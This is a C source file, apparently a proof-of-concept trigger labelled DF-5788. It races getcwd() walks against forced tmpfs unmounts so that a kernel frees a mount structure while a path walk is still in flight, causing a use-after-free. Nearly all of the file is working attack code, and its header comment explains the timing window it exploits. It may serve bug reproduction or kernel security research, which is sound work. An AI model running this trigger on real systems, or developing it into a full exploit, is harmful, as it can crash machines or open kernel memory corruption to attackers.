DF-5788 / df5788_v3.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 | /* * DF-5788 rigger v3 - coordinated stacks. * * K independent tmpfs stacks, each with a ~600-deep chain of 1-char * directory names (a getcwd() walk from the bottom hits ERANGE after * ~500 hops, and those hops contend with dounmount's cache_inval on the * same chain, stretching the walk into the ms range). * * flapper: dwells in stack i (walkers hammer walks through i's chain), * then chdir()'s OUT and immediately marks stack i "fired". * churn: for each fired stack: umount -f (clean: nobody pins it), * remount, rebuild the chain, mark ready. * walkers: getcwd() in a tight loop (4 threads for lock contention). * * The walk-phase UAF needs: a walk in-flight across stack i when i's * struct mount is kfree()d. Walks only start while the fd is deep, the * free only happens after the fd leaves - the in-flight walks (lengthened * by inval contention) bridge the gap. */ #include <sys/param.h> #include <sys/mount.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <pthread.h> #include <errno.h> #include <time.h> #define K 6 #define DEPTH 600 static char g_base[256]; static char g_out[256]; static char g_deep[K][1024]; static volatile int g_stop; static volatile int st_fired[K]; /* flapper left it, churn may umount */ static volatile int st_ready[K]; /* churn rebuilt it */ static volatile long n_getcwd, n_enoent, n_err, n_flips, n_cycles; static void mkdir_p1(const char *p) { if (mkdir(p, 0777) == 0 || errno == EEXIST) ; } static int build_chain(char *p, size_t len, int depth) { size_t l = strlen(p); int i; for (i = 0; i < depth; i++) { if (l + 3 >= len) break; p[l++] = '/'; p[l++] = 'a' + (i % 26); p[l] = 0; mkdir_p1(p); } return i; } static int setup_stack(int i) { char p[1024]; snprintf(p, sizeof(p), "%s/s%d", g_base, i); mkdir_p1(p); if (mount("tmpfs", p, 0, NULL) && errno != EBUSY) return -1; snprintf(g_deep[i], sizeof(g_deep[i]), "%s", p); build_chain(g_deep[i], sizeof(g_deep[i]), DEPTH); return 0; } static void teardown_stack(int i) { char p[1024]; snprintf(p, sizeof(p), "%s/s%d", g_base, i); unmount(p, MNT_FORCE); } static void * thr_walker(void *arg) { char buf[MAXPATHLEN]; while (!g_stop) { if (getcwd(buf, sizeof(buf)) == NULL) { if (errno == ENOENT) n_enoent++; else n_err++; } n_getcwd++; } return NULL; } static void * thr_flapper(void *arg) { int i; useconds_t dwell = 400; while (!g_stop) { for (i = 0; i < K && !g_stop; i++) { if (!st_ready[i]) continue; if (chdir(g_deep[i]) != 0) continue; usleep(dwell); /* walkers hammer stack i */ if (chdir(g_out) != 0) chdir("/"); /* pin off regardless */ st_fired[i] = 1; /* churn: umount it now */ n_flips++; usleep(200); /* let dounmount start */ } } return NULL; } static void * thr_churn(void *arg) { int i; while (!g_stop) { for (i = 0; i < K && !g_stop; i++) { if (!st_fired[i]) continue; st_fired[i] = 0; st_ready[i] = 0; teardown_stack(i); if (setup_stack(i) == 0) { n_cycles++; st_ready[i] = 1; } } usleep(50); } return NULL; } int main(int argc, char **argv) { pthread_t w[4], tf, tc; int secs = 120, i; if (argc > 1) snprintf(g_base, sizeof(g_base), "%s", argv[1]); else snprintf(g_base, sizeof(g_base), "/tmp/df5788"); if (argc > 2) secs = atoi(argv[2]); mkdir(g_base, 0777); snprintf(g_out, sizeof(g_out), "%s/out", g_base); mkdir(g_out, 0777); for (i = 0; i < K; i++) { if (setup_stack(i) != 0) { perror("setup_stack"); return 2; } st_ready[i] = 1; } printf("K=%d DEPTH=%d base=%s\n", K, DEPTH, g_base); for (i = 0; i < 4; i++) pthread_create(&w[i], NULL, thr_walker, NULL); pthread_create(&tf, NULL, thr_flapper, NULL); pthread_create(&tc, NULL, thr_churn, NULL); sleep(secs); g_stop = 1; for (i = 0; i < 4; i++) pthread_join(w[i], NULL); pthread_join(tf, NULL); pthread_join(tc, NULL); printf("getcwd=%ld enoent=%ld err=%ld flips=%ld cycles=%ld\n", n_getcwd, n_enoent, n_err, n_flips, n_cycles); for (i = 0; i < K; i++) teardown_stack(i); printf("DONE rc=0\n"); return 0; } |